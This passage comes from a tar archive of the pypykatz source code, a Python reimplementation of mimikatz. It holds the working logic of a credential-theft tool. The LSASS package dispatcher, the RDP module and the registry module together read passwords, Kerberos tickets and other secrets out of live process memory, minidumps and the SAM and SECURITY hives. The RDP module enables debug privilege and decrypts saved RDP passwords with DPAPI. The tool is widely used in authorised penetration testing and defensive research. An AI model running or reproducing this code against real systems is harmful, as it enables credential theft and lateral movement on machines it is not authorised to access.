CloudapDecryptor(self.reader, cloudap_dec_template, self.lsa_decryptor, self.sysinfo) cloudap_dec.start() for cred in cloudap_dec.credentials: if cred.luid in self.logon_sessions: self.logon_sessions[cred.luid].cloudap_creds.append(cred) else: self.orphaned_creds.append(cred) def start(self, packages = ['all']): self.lsa_decryptor = self.get_lsa() if 'msv' in packages or 'all' in packages: try: self.get_logoncreds() except Exception as e: self.errors.append(('msv', e)) if 'wdigest' in packages or 'all' in packages: try: self.get_wdigest() except Exception as e: self.errors.append(('wdigest', e)) if 'kerberos' in packages or 'ktickets' in packages or 'all' in packages: try: with_tickets = False if 'ktickets' in packages or 'all' in packages: with_tickets = True self.get_kerberos(with_tickets) except Exception as e: self.errors.append(('kerberos', e)) if 'tspkg' in packages or 'all' in packages: try: self.get_tspkg() except Exception as e: self.errors.append(('tspkg', e)) if 'ssp' in packages or 'all' in packages: try: self.get_ssp() except Exception as e: self.errors.append(('ssp', e)) if 'dpapi' in packages or 'all' in packages: try: self.get_dpapi() except Exception as e: self.errors.append(('dpapi', e)) if 'cloudap' in packages or 'all' in packages: try: self.get_cloudap() except Exception as e: self.errors.append(('cloudap', e)) if 'livessp' in packages or 'all' in packages: try: self.get_livessp() except Exception as e: self.errors.append(('livessp', e)) ././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/rdp/0000775000175000017500000000000014647211624015534 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/rdp/__init__.py0000664000175000017500000000000014543266630017635 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/rdp/cmdhelper.py0000664000175000017500000000516314543266630020060 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # from pypykatz.rdp.parser import RDPCredParser class RDPCMDHelper: def __init__(self): self.live_keywords = ['rdp'] self.keywords = ['rdp'] def add_args(self, parser, live_parser): # live live_group = live_parser.add_parser('rdp', help='a') live_rdp_subparsers = live_group.add_subparsers() live_rdp_subparsers.required = True live_rdp_subparsers.dest = 'live_rdp_module' live_logonpasswords_group = live_rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side)') live_logonpasswords_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds') live_logonpasswords_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL rdpcorets.dll') live_mstsc_group = live_rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side)') live_mstsc_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds') live_mstsc_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL mstscax.dll') # offline group = parser.add_parser('rdp', help='Parse RDP credentials from minidump file') rdp_subparsers = group.add_subparsers() rdp_subparsers.required = True rdp_subparsers.dest = 'rdp_module' logonpasswords_group = rdp_subparsers.add_parser('logonpasswords', help='Parse RDP credentials (SERVER side) from minidump file. Plain-text passwords only for WINVER <= Win2012') logonpasswords_group.add_argument('cmd', choices=['minidump']) logonpasswords_group.add_argument('memoryfile', help='path to the dump file') mstsc_group = rdp_subparsers.add_parser('mstsc', help='Parse RDP credentials (CLIENT side) from minidump file. Unable to recover plain-text passwords offline.') mstsc_group.add_argument('cmd', choices=['minidump']) mstsc_group.add_argument('memoryfile', help='path to the dump file') def execute(self, args): if len(self.keywords) > 0 and args.command in self.keywords: self.run(args) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: self.run_live(args) def run_live(self, args): credparsers = RDPCredParser.go_live(pid = args.pid, all_rdp = args.all, live_rdp_module = args.live_rdp_module) for credparser in credparsers: for cred in credparser.credentials: print(str(cred)) def run(self, args): credparsers = RDPCredParser.parse_minidump_file(args.memoryfile, args.rdp_module) for credparser in credparsers: for cred in credparser.credentials: print(str(cred))././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/rdp/packages/0000775000175000017500000000000014647211624017312 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/rdp/packages/__init__.py0000664000175000017500000000000014543266630021413 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000003400000000000010212 xustar0028 mtime=1721570196.3193648 pypykatz-0.6.10/pypykatz/rdp/packages/creds/0000775000175000017500000000000014647211624020412 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/rdp/packages/creds/__init__.py0000664000175000017500000000000014543266630022513 0ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/rdp/packages/creds/decryptor.py0000664000175000017500000003626514543266630023015 0ustar00webdevwebdevimport json import hashlib import math from pypykatz import logger from pypykatz.commons.common import hexdump from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild class RDPCredential: def __init__(self): self.credtype = 'rdp' self.domainname = None self.username = '' self.password = '' self.password_raw = b'' self.isencrypted = None self.servername = '' self.serverfqdn = '' def to_dict(self): t = {} t['credtype'] = self.credtype t['domainname'] = self.cachedir t['username'] = self.PRT t['password'] = self.key_guid t['password_raw'] = self.dpapi_key return t def to_json(self): return json.dumps(self.to_dict()) def __str__(self): t = '\t== RDP Credential ==\n' t += '\t\tdomainname %s\n' % self.domainname t += '\t\tusername %s\n' % self.username t += '\t\tpassword \'%s\'\n' % self.password try: t += '\t\tpassword_raw %s\n' % self.password_raw.hex() except: t += '\t\tpassword_raw %s\n' % self.password_raw t += '\t\tisencrypted: %s\n' % str(self.isencrypted) t += '\t\tservername: \'%s\'\n' % self.servername t += '\t\tserverfqdn: \'%s\'\n' % self.serverfqdn return t class RDPCredentialDecryptorMstsc: def __init__(self, process, reader, decryptor_template, sysinfo, find_first=False): self.process = process self.reader = reader self.sysinfo = sysinfo self.decryptor_template = decryptor_template self.credentials = [] self.find_first = find_first def find_string(self, chunck): marker = chunck.find(b'\x00\x00') if marker <= 0: chunck = b'' return chunck[:marker + 1] def find_entries(self, chunksize=10*1024): reader = self.reader.get_reader() handler = reader.get_handler() memory_segments = reader.get_memory() #x = self.reader.find_all_global(self.decryptor_template.signature) for ms in memory_segments: x = ms.search(self.decryptor_template.signature, handler) for addr in x: self.reader.move(addr) properties = self.decryptor_template.properties_struct(self.reader) if properties.unkh0 == int(0xdbcaabcd): if properties.unkd1 >= 10 and properties.unkd1 < 500: if properties.cbProperties >= 10 and properties.cbProperties < 500: if properties.pProperties.value: """ logger.debug("========TS_PROPERTIES_KIWI=========") logger.debug("unkh0 = {}".format(hex(properties.unkh0))) logger.debug("unkd0 = {}".format(hex(properties.unkd0))) logger.debug("unkp2 = {}".format(hex(properties.unkp2))) logger.debug("unkd1 = {}".format(properties.unkd1)) logger.debug("unkp3 = {}".format(hex(properties.unkp3))) logger.debug("pProperties = {}".format(hex(properties.pProperties.value))) logger.debug("cbProperties = {}".format(properties.cbProperties)) logger.debug("===================================") """ try: self.reader.move(properties.pProperties.value) cred = RDPCredential() for i in range(properties.cbProperties): property = self.decryptor_template.property_struct(self.reader) if property.szProperty and property.dwType > 0 and property.dwType < 20: """ logger.debug("========TS_PROPERTY_KIWI=========") logger.debug("szProperty = {}".format(hex(property.szProperty))) logger.debug("dwType = {}".format(property.dwType)) logger.debug("pvData = {}".format(hex(property.pvData))) logger.debug("unkp0 = {}".format(property.unkp0)) logger.debug("unkd0 = {}".format(property.unkd0)) logger.debug("dwFlags = {}".format(property.dwFlags)) logger.debug("unkd1 = {}".format(property.unkd1)) logger.debug("unkd2 = {}".format(property.unkd2)) logger.debug("pValidator = {}".format(hex(property.pValidator))) logger.debug("unkp2 = {}".format(property.unkp2)) logger.debug("unkp3 = {}".format(property.unkp3)) logger.debug("=================================") """ current_addr = self.reader.tell() try: self.reader.move(property.szProperty) chunck = self.reader.read(1024) string = self.find_string(chunck) marker = string.find(b'\x00') if marker > 0: string = string[:marker] szProperty = string.decode('utf-8') szProperties = ["ServerName", "ServerFqdn", "ServerNameUsedForAuthentication", "UserSpecifiedServerName", "UserName", "Domain", "Password", "SmartCardReaderName", "RDmiUsername", "PasswordContainsSCardPin"] if szProperty in szProperties: value = '' if property.dwType == 3: value = "TRUE" if property.pvData else "FALSE" #print("{:<35s}\t[bool] {}".format(szProperty, "TRUE" if property.pvData else "FALSE")) if property.dwType == 4: self.reader.move(property.pvData) chunck = self.reader.read(1024) string = self.find_string(chunck) value = string.decode('utf-16-le') #print("{:<35s}\t[wstring] '{}'".format(szProperty, string.decode('utf-16-le'))) elif property.dwType == 6: if property.pvData and property.unkp2: self.reader.move(property.pvData) chunck = self.reader.read(property.unkp2) if property.dwFlags & 0x800: #print("{:<35s}\t[protect] {} (length = {})".format(szProperty, chunck, property.unkp2)) if self.process is None: value = chunck else: value = self.process.dpapi_memory_unprotect(property.pvData, property.unkp2, 0) if len(value) > 4: value = value[4:] else: #print("{:<35s}\t[unprotect] {} (length = {})".format(szProperty, chunck, property.unkp2)) value = chunck if value is None: value = b'' if szProperty == "ServerName": cred.servername = value elif szProperty == "ServerFqdn": cred.serverfqdn = value elif szProperty == "UserName": cred.username = value elif szProperty == "Domain": cred.domainname = value elif szProperty == "Password" and (property.dwFlags & 0x800): cred.password_raw = value if self.process is None: cred.password = '' cred.isencrypted = True else: cred.password = cred.password_raw.decode('utf-16-le').rstrip('\x00') cred.isencrypted = False elif szProperty == "Password": cred.password_raw = value cred.password = value.decode('utf-16-le') cred.isencrypted = False except Exception as e: # Memory address not in process memory space logger.debug("Error: {}".format(e)) self.reader.move(current_addr) if cred.username: self.credentials.append(cred) if self.find_first: return except Exception as e: # Memory address not in process memory space logger.debug("Error: {}".format(e)) def start(self, chunksize=10*1024): #x = self.reader.find_all_global(self.decryptor_template.signature) self.find_entries(chunksize) if not len(self.credentials): logger.debug('No RDP credentials found!') class RDPCredentialDecryptorLogonpasswords: def __init__(self, process, reader, decryptor_template, sysinfo, find_first=False, lower_bound=0, upper_bound=-1): self.process = process self.reader = reader self.sysinfo = sysinfo self.decryptor_template = decryptor_template self.credentials = [] self.find_first = find_first self.lower_bound = lower_bound self.upper_bound = upper_bound def add_entry(self, rdpcred_entry): if hex(rdpcred_entry.unk1.value & 0xff010000) == hex(0x00010000): # mstscax & freerdp bIsCandidate = True elif not hex(rdpcred_entry.unk1.value & 0xffff0000): # rdesktop bIsCandidate = True else: bIsCandidate = False try: if bIsCandidate and rdpcred_entry.cbDomain <= 512 and rdpcred_entry.cbUsername <= 512 and rdpcred_entry.cbUsername > 0 and rdpcred_entry.cbPassword <= 512 and rdpcred_entry.cbPassword > 0: domainame = rdpcred_entry.Domain[:rdpcred_entry.cbDomain].decode('utf-16-le') username = rdpcred_entry.UserName[:rdpcred_entry.cbUsername].decode('utf-16-le') password_raw = rdpcred_entry.Password[:rdpcred_entry.cbPassword] if self.sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value: if self.process is None: logger.debug('Credentials found but they are encrypted!') password_raw = rdpcred_entry.Password[:16 * math.ceil(rdpcred_entry.cbPassword/16)] password = '' isencrypted = True else: password_raw = self.process.dpapi_memory_unprotect(rdpcred_entry.Password_addr, rdpcred_entry.cbPassword, 0) password = password_raw.decode('utf-16-le').rstrip('\x00') isencrypted = False else: password = password_raw.decode('utf-16-le') password_raw = password_raw.split(b'\x00\x00')[0] + b'\x00' isencrypted = False cred = RDPCredential() cred.domainname = domainame cred.username = username cred.password = password cred.password_raw = password_raw cred.isencrypted = isencrypted self.credentials.append(cred) else: logger.debug('This RDPCred entry is garbage!') except Exception as e: logger.debug('RDP entry parsing error! Reason %s' % e) def start(self, chunksize=10*1024): reader = self.reader.get_reader() handler = reader.get_handler() memory_segments = reader.get_memory() if self.upper_bound == -1: self.upper_bound = len(memory_segments) for idx, ms in enumerate(memory_segments): if idx > self.lower_bound and idx < self.upper_bound: x = [] for signature in self.decryptor_template.signatures: x += ms.search(signature, handler) for addr in x: addr += self.decryptor_template.offset self.reader.move(addr) try: cred = self.decryptor_template.cred_struct(self.reader) except Exception as e: logger.debug('Reading error! (this can be normal here) %s' % str(e)) continue self.add_entry(cred) if len(self.credentials) > 0 and self.find_first: return ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/rdp/packages/creds/templates.py0000664000175000017500000000622714543266630022773 0ustar00webdevwebdev from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild from pypykatz.commons.win_datatypes import POINTER, ULONG, \ KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, \ LSA_UNICODE_STRING, WORD from minidump.win_datatypes import PCWSTR from pypykatz.commons.common import hexdump class RDPCredsTemplate: def __init__(self): self.signatures = None self.signature = None self.cred_struct = None self.property_struct = None self.properties_struct = None @staticmethod def get_logonpasswords_template(sysinfo): template = RDPCredsTemplate() if sysinfo.buildnumber >= WindowsBuild.WIN_8.value: template.signatures = [b'\x00\x00\x00\x00\xbb\x47', b'\x00\x00\x00\x00\xf3\x47', b'\x00\x00\x00\x00\x3b\x01'] template.offset = 0 template.cred_struct = WTS_KIWI else: template.signatures = [b'\xc8\x00\x00\x00\xc8\x00\x00\x00'] template.offset = 16 template.cred_struct = WTS_KIWI_2008R2 return template @staticmethod def get_mstsc_template(): template = RDPCredsTemplate() template.signature = b'\xcd\xab\xca\xdb\x03' template.property_struct = TS_PROPERTY_KIWI template.properties_struct = TS_PROPERTIES_KIWI return template # See mimikatz/modules/kuhl_m_ts.h class PTS_PROPERTY_KIWI(POINTER): def __init__(self, reader): super().__init__(reader, TS_PROPERTY_KIWI) class TS_PROPERTY_KIWI: def __init__(self, reader): reader.align() self.szProperty = PCWSTR(reader).value self.dwType = DWORD(reader).value reader.align() self.pvData = PVOID(reader).value self.unkp0 = PVOID(reader).value self.unkd0 = DWORD(reader).value self.dwFlags = DWORD(reader).value self.unkd1 = DWORD(reader).value self.unkd2 = DWORD(reader).value self.pValidator = PVOID(reader).value self.unkp2 = PVOID(reader).value self.unkp3 = PVOID(reader).value class TS_PROPERTIES_KIWI: def __init__(self, reader): #self.unkp0 = PVOID(reader).value #self.unkp1 = PVOID(reader).value self.unkh0 = DWORD(reader).value # 0xdbcaabcd self.unkd0 = DWORD(reader).value # 3 self.unkp2 = PVOID(reader).value self.unkd1 = DWORD(reader).value # 45 reader.align() self.unkp3 = PVOID(reader).value reader.align() self.pProperties_addr = reader.tell() self.pProperties = PVOID(reader)#PTS_PROPERTY_KIWI(reader) self.cbProperties = DWORD(reader).value class WTS_KIWI: def __init__(self, reader): self.unk0 = DWORD(reader) self.unk1 = DWORD(reader) self.cbDomain = WORD(reader).value self.cbUsername = WORD(reader).value self.cbPassword = WORD(reader).value self.unk2 = DWORD(reader) self.Domain = reader.read(512) self.UserName = reader.read(512) self.Password_addr = reader.tell() self.Password = reader.read(512) class WTS_KIWI_2008R2: def __init__(self, reader): self.unk0 = DWORD(reader) self.unk1 = DWORD(reader) self.cbDomain = WORD(reader).value + 511 #making it compatible with the other version. this is probably a bool? self.cbUsername = WORD(reader).value + 511 self.cbPassword = WORD(reader).value + 511 self.unk2 = DWORD(reader) self.Domain = reader.read(512) self.UserName = reader.read(512) self.Password_addr = reader.tell() self.Password = reader.read(512)././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/rdp/parser.py0000664000175000017500000001145114543266630017406 0ustar00webdevwebdev import platform from pypykatz import logger from minidump.minidumpfile import MinidumpFile from pypykatz.commons.common import KatzSystemInfo from pypykatz.rdp.packages.creds.templates import RDPCredsTemplate from pypykatz.rdp.packages.creds.decryptor import RDPCredentialDecryptorLogonpasswords, RDPCredentialDecryptorMstsc class RDPCredParser: def __init__(self, process, reader, sysinfo, rdp_module, find_first=False, lower_bound=0, upper_bound=-1): self.process = process self.reader = reader self.sysinfo = sysinfo self.credentials = [] self.rdp_module = rdp_module self.find_first = find_first self.lower_bound = lower_bound self.upper_bound = upper_bound @staticmethod def go_live(pid = None, all_rdp = False, live_rdp_module = None): if platform.system() != 'Windows': raise Exception('Live parsing will only work on Windows') from pypykatz.commons.readers.local.common.live_reader_ctypes import OpenProcess, PROCESS_ALL_ACCESS from pypykatz.commons.winapi.machine import LiveMachine from pypykatz.commons.winapi.constants import PROCESS_VM_READ , PROCESS_VM_WRITE , PROCESS_VM_OPERATION , PROCESS_QUERY_INFORMATION , PROCESS_CREATE_THREAD from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege from pypykatz.commons.readers.local.live_reader import LiveReader from pypykatz.commons.readers.local.process import Process req_access_rights = PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD enable_debug_privilege() targets = [] if pid is not None: process = Process(pid=pid, access = req_access_rights ) process.list_modules() reader = LiveReader(process_handle=process.phandle) sysinfo = KatzSystemInfo.from_live_reader(reader) targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module)) else: machine = LiveMachine() if live_rdp_module == "logonpasswords" and all_rdp is False: for service_name, display_name, pid in machine.list_services(): if service_name == 'TermService': process = Process(pid=pid, access = req_access_rights ) reader = LiveReader(process_handle=process.phandle) sysinfo = KatzSystemInfo.from_live_reader(reader) targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module)) if live_rdp_module == "mstsc" and all_rdp is False: for pid in machine.list_all_pids(): try: process = Process(pid=pid, access = req_access_rights ) for module in process.list_modules(): if module.name.lower().find("mstscax.dll") != -1: reader = LiveReader(process_handle=process.phandle) sysinfo = KatzSystemInfo.from_live_reader(reader) targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module)) break except Exception as e: #import traceback #traceback.print_exc() pass if len(targets): break if all_rdp is True: for pid in machine.list_all_pids(): try: process = Process(pid=pid, access = req_access_rights ) for module in process.list_modules(): if module.name.lower().find("mstscax.dll") != -1 or module.name.lower().find("rdpcorets.dll") != -1: reader = LiveReader(process_handle=process.phandle) sysinfo = KatzSystemInfo.from_live_reader(reader) targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo, live_rdp_module)) break except Exception as e: #import traceback #traceback.print_exc() print(e) for target in targets: target.start() return targets @staticmethod def parse_minidump_file(filename, rdp_module, chunksize = 10*1024): try: minidump = MinidumpFile.parse(filename) reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize) sysinfo = KatzSystemInfo.from_minidump(minidump) except Exception as e: logger.exception('Minidump parsing error!') raise e try: mimi = RDPCredParser(None, reader, sysinfo, rdp_module) mimi.start() except Exception as e: logger.info('Credentials parsing error!') raise e return [mimi] def rdpcreds(self): if self.rdp_module == "logonpasswords": decryptor_template = RDPCredsTemplate.get_logonpasswords_template(self.sysinfo) decryptor = RDPCredentialDecryptorLogonpasswords(self.process, self.reader, decryptor_template, self.sysinfo, find_first=self.find_first, lower_bound=self.lower_bound, upper_bound=self.upper_bound) else: # mstsc decryptor_template = RDPCredsTemplate.get_mstsc_template() decryptor = RDPCredentialDecryptorMstsc(self.process, self.reader, decryptor_template, self.sysinfo, find_first=self.find_first) decryptor.start() for cred in decryptor.credentials: self.credentials.append(cred) def start(self): self.rdpcreds()././@PaxHeader0000000000000000000000000000003300000000000010211 xustar0027 mtime=1721570196.323365 pypykatz-0.6.10/pypykatz/registry/0000775000175000017500000000000014647211624016617 5ustar00webdevwebdev././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/__init__.py0000664000175000017500000000006614543266630020734 0ustar00webdevwebdevimport logging logger = logging.getLogger('pypykatz')././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/aoffline_parser.py0000664000175000017500000000536314543266630022341 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import json from aiowinreg.ahive import AIOWinRegHive from pypykatz.registry import logger from pypykatz.commons.common import UniversalEncoder from pypykatz.registry.sam.asam import * from pypykatz.registry.security.asecurity import * from pypykatz.registry.system.asystem import * from pypykatz.registry.software.asoftware import * class OffineRegistry: """ This class represents an offline registry You will need to set at least the SYSTEM hive (to get bootkey) In case you have the SAM and/or SECURITY hives, it will parse them for the stored credentials/secrets as well. """ def __init__(self): self.sam_hive = None self.security_hive = None self.system_hive = None self.software_hive = None self.system = None self.sam = None self.security = None self.software = None async def get_secrets(self): self.system = SYSTEM(self.system_hive) bootkey = await self.system.get_bootkey() if self.sam_hive: self.sam = SAM(self.sam_hive, bootkey) await self.sam.get_secrets() if self.security_hive: self.security = SECURITY(self.security_hive, bootkey, self.system) await self.security.get_secrets() if self.software_hive: self.software = SOFTWARE(self.software_hive, bootkey) await self.software.get_default_logon() def to_file(self, file_path, json_format = False): with open(file_path, 'a', newline = '') as f: if json_format == False: f.write(str(self)) else: f.write(self.to_json()) def to_json(self): return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) def to_dict(self): t = {} t['SYSTEM'] = self.system.to_dict() if self.sam: t['SAM'] = self.sam.to_dict() if self.security: t['SECURITY'] = self.security.to_dict() if self.software: t['SOFTWARE'] = self.software.to_dict() return t def __str__(self): t = str(self.system) if self.sam: t += str(self.sam) if self.security: t += str(self.security) if self.software: t += str(self.software) return t @staticmethod async def from_async_reader(system_reader, sam_reader = None, security_reader = None, software_reader = None): po = OffineRegistry() po.system_hive = AIOWinRegHive(system_reader) await po.system_hive.setup() if sam_reader is not None: po.sam_hive = AIOWinRegHive(sam_reader) await po.sam_hive.setup() if security_reader is not None: po.security_hive = AIOWinRegHive(security_reader) await po.security_hive.setup() if software_reader is not None: po.software_hive = AIOWinRegHive(software_reader) await po.software_hive.setup() await po.get_secrets() return po if __name__ == '__main__': po = OffineRegistry.from_live_system() print(str(po))././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/cmdhelper.py0000664000175000017500000000505514543266630021143 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import json import traceback from pypykatz import logger from pypykatz.commons.common import UniversalEncoder class RegistryCMDHelper: def __init__(self): self.live_keywords = ['registry'] self.keywords = ['registry'] def add_args(self, parser, live_parser): live_group = live_parser.add_parser('registry', help='Get all secrets from registry') live_group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') live_group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') group = parser.add_parser('registry', help='Get secrets from registry files') group.add_argument('system', help='path to the SYSTEM registry hive') group.add_argument('--sam', help='path to the SAM registry hive') group.add_argument('--security', help='path to the SECURITY registry hive') group.add_argument('--software', help='path to the SOFTWARE registry hive') group.add_argument('-o', '--outfile', help = 'Save results to file (you can specify --json for json file, or text format will be written)') group.add_argument('--json', action='store_true',help = 'Print credentials in JSON format') def execute(self, args): if len(self.keywords) > 0 and args.command in self.keywords: self.run(args) if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords: self.run_live(args) def process_results(self, results, args): if args.outfile: results.to_file(args.outfile, args.json) else: if args.json: print(json.dumps(results.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True)) else: print(str(results)) def run_live(self, args): from pypykatz.registry.live_parser import LiveRegistry lr = None try: lr = LiveRegistry.go_live() except Exception as e: traceback.print_exc() logger.debug('Failed to obtain registry secrets via direct registry reading method. Reason: %s' % str(e)) try: from pypykatz.registry.offline_parser import OffineRegistry lr = OffineRegistry.from_live_system() except Exception as e: logger.debug('Failed to obtain registry secrets via filedump method') if lr is not None: self.process_results(lr, args) else: print('Registry parsing failed!') def run(self, args): from pypykatz.registry.offline_parser import OffineRegistry po = OffineRegistry.from_files(args.system, args.sam, args.security, args.software) self.process_results(po, args) ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/live_parser.py0000664000175000017500000000701314543266630021507 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import platform if platform.system() != 'Windows': raise Exception('This will ONLY work on Windows systems!') import json from pypykatz.commons.readers.registry.live.reader import LiveRegistryHive from pypykatz.registry import logger from pypykatz.registry.sam.sam import * from pypykatz.registry.security.security import * from pypykatz.registry.system.system import * from pypykatz.registry.software.software import * from pypykatz.commons.winapi.processmanipulator import ProcessManipulator from pypykatz.commons.common import UniversalEncoder class LiveRegistry: """ This class represents the Registry hives that are currently on the live system. Use this in case you have at least Administrative privileges on a comp where pypykatz is running """ def __init__(self): self.sam_hive = None self.security_hive = None self.system_hive = None self.software_hive = None self.system = None self.sam = None self.security = None self.software = None def get_secrets(self): """ For obtaining all secrets from the registry on-the-fly, SYSTEM user MUST be used! In case this is not achievable, Administrator can be used to first dump the registry hives to disk, then parse them offline There is a 3rd way: As administrator you can obtain SE_TAKE_OWNERSHIP privileges, then you can open any hive with the WRITE_OWNER permission. After doing that you'd need to change the SID of each target hive to include the administrator user with full access. This is so intrusive I'm not implementing that, if you mess that up your computer will turn to potato. Like literally... (also it's a lot of work) """ pm = ProcessManipulator() try: #getting a SYSTEM token... pm.assign_token_thread_sid() except Exception as e: logger.error('Failed to obtain SYSTEM prvis. On-the-fly parsing is not possible.') raise e else: self.system = SYSTEM(self.system_hive) bootkey = self.system.get_bootkey() if self.sam_hive: self.sam = SAM(self.sam_hive, bootkey) self.sam.get_secrets() if self.security_hive: self.security = SECURITY(self.security_hive, bootkey) self.security.get_secrets() if self.software_hive: try: self.software = SOFTWARE(self.software_hive, bootkey) self.software.get_default_logon() except Exception as e: logger.warning('Failed to parse SOFTWARE hive. Reason: %s' % str(e)) self.cleanup() def cleanup(self): for hive in [self.system_hive, self.security_hive, self.sam_hive]: try: hive.close() except: pass def to_file(self, file_path, json_format = False): with open(file_path, 'a', newline = '') as f: if json_format == False: f.write(str(self)) else: f.write(self.to_json()) def to_json(self): return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) def to_dict(self): t = {} t['SYSTEM'] = self.system.to_dict() if self.sam: t['SAM'] = self.sam.to_dict() if self.security: t['SECURITY'] = self.security.to_dict() if self.software: t['SOFTWARE'] = self.software.to_dict() return t def __str__(self): t = str(self.system) if self.sam: t += str(self.sam) if self.security: t += str(self.security) return t @staticmethod def go_live(): lr = LiveRegistry() lr.sam_hive = LiveRegistryHive('SAM') lr.system_hive = LiveRegistryHive('SYSTEM') lr.security_hive = LiveRegistryHive('SECURITY') lr.software_hive = LiveRegistryHive('SOFTWARE') lr.get_secrets() return lr ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1703767448.0 pypykatz-0.6.10/pypykatz/registry/offline_parser.py0000664000175000017500000001570014543266630022174 0ustar00webdevwebdev#!/usr/bin/env python3 # # Author: # Tamas Jos (@skelsec) # import json from aiowinreg.hive import AIOWinRegHive from pypykatz.registry import logger from pypykatz.commons.common import UniversalEncoder from pypykatz.registry.sam.sam import * from pypykatz.registry.security.security import * from pypykatz.registry.system.system import * from pypykatz.registry.software.software import * class OffineRegistry: """ This class represents an offline registry You will need to set at least the SYSTEM hive (to get bootkey) In case you have the SAM and/or SECURITY hives, it will parse them for the stored credentials/secrets as well. """ def __init__(self): self.sam_hive = None self.security_hive = None self.system_hive = None self.software_hive = None self.system = None self.sam = None self.security = None self.software = None def get_secrets(self): self.system = SYSTEM(self.system_hive) bootkey = self.system.get_bootkey() if self.sam_hive: self.sam = SAM(self.sam_hive, bootkey) self.sam.get_secrets() if self.security_hive: self.security = SECURITY(self.security_hive, bootkey, self.system) self.security.get_secrets() if self.software_hive: self.software = SOFTWARE(self.software_hive, bootkey) self.software.get_default_logon() self.cleanup() def cleanup(self): for hive in [self.system_hive, self.security_hive, self.sam_hive]: try: hive.close() except: pass def to_file(self, file_path, json_format = False): with open(file_path, 'a', newline = '') as f: if json_format == False: f.write(str(self)) else: f.write(self.to_json()) def to_json(self): return json.dumps(self.to_dict(), cls = UniversalEncoder, indent=4, sort_keys=True) def to_dict(self): t = {} t['SYSTEM'] = self.system.to_dict() if self.sam: t['SAM'] = self.sam.to_dict() if self.security: t['SECURITY'] = self.security.to_dict() if self.software: t['SOFTWARE'] = self.software.to_dict() return t def __str__(self): t = str(self.system) if self.sam: t += str(self.sam) if self.security: t += str(self.security) if self.software: t += str(self.software) return t @staticmethod def from_bytes(system_data, sam_data = None, security_data = None, software_data = None): system_buff = io.BytesIO(system_data) sam_buff = None security_buff = None software_buff = None if sam_data: sam_buff = io.BytesIO(sam_data) if security_data: security_buff = io.BytesIO(security_data) if software_data: software_buff = io.BytesIO(software_data) return OffineRegistry.from_buffer(system_buff, sam_buff = sam_buff, security_buff = security_buff, software_buff = software_buff) @staticmethod def from_buffer(system_buff, sam_buff = None, security_buff = None, software_buff = None): return OffineRegistry.from_files(system_buff, sam_path = sam_buff, security_path = security_buff, software_path = software_buff, notfile = True) @staticmethod def from_files(system_path, sam_path = None, security_path = None, software_path = None, notfile = False): po = OffineRegistry() try: if notfile == True: sys_hive = system_path else: sys_hive = open(system_path, 'rb') po.system_hive = AIOWinRegHive(sys_hive) except Exception as e: logger.error('Failed to open SYSTEM hive! Reason: %s' % str(e)) raise e if sam_path: try: if notfile == True: sam_hive = sam_path 